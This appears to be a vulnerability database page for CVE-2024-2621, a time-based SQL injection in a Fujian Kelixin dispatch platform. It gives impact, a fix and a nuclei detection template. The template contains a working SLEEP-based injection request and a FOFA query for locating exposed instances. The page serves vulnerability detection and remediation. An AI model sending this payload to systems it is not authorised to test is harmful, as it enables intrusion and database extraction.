HexBrain

Browse / CVEs / CVE-2024-2621

CVE-2024-2621· CWE-89

Fujian Kelixin Communication - Command Injection

mediumseverity
6.3CVSS score
1.9%likelihood of exploitation, next 30 days
80%of all CVEs are less likely
Readycheck to confirm it

A vulnerability was found in Fujian Kelixin Communication Command and Dispatch Platform up to 20240318 and classified as critical. Affected by this issue is some unknown functionality of the file api/client/user/pwd_update.php.

Impact

Authenticated attackers can extract sensitive database information via time-based SQL injection in the usr_number parameter.

Fix

Update Fujian Kelixin Communication Command and Dispatch Platform to a version newer than 20240318.

How to confirm it

Send: @timeout 15s
Positive when: duration>=6 and status_code == 200 and contains_all(body,"msg\":","header\":","code\":")

Run it with nuclei: nuclei -id CVE-2024-2621 -u <target>

The full check
id: CVE-2024-2621

info:
  name: Fujian Kelixin Communication - Command Injection
  author: DhiyaneshDk
  severity: medium
  description: |
    A vulnerability was found in Fujian Kelixin Communication Command and Dispatch Platform up to 20240318 and classified as critical. Affected by this issue is some unknown functionality of the file api/client/user/pwd_update.php.
  impact: |
    Authenticated attackers can extract sensitive database information via time-based SQL injection in the usr_number parameter.
  remediation: |
    Update Fujian Kelixin Communication Command and Dispatch Platform to a version newer than 20240318.
  reference:
    - https://h0e4a0r1t.github.io/2024/vulns/Fujian%20Kelixin%20Communication%20Co.,%20Ltd.%20Command%20and%20Dispatch%20Platform%20SQL%20Injection%20Vulnerability-pwd_update.php.pdf
    - https://vuldb.com/?ctiid.257198
    - https://vuldb.com/?id.257198
    - https://github.com/NaInSec/CVE-LIST
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2621
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 6.3
    cve-id: CVE-2024-2621
    cwe-id: CWE-89
    epss-score: 0.0194
    epss-percentile: 0.80295
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="app/structure/departments.php" || app="指挥调度管理平台"
  tags: time-based-sqli,cve,cve2024,sqli,fujian,rce,vuln

http:
  - raw:
      - |
        @timeout 15s
        GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(6)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains_all(body,"msg\":","header\":","code\":")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from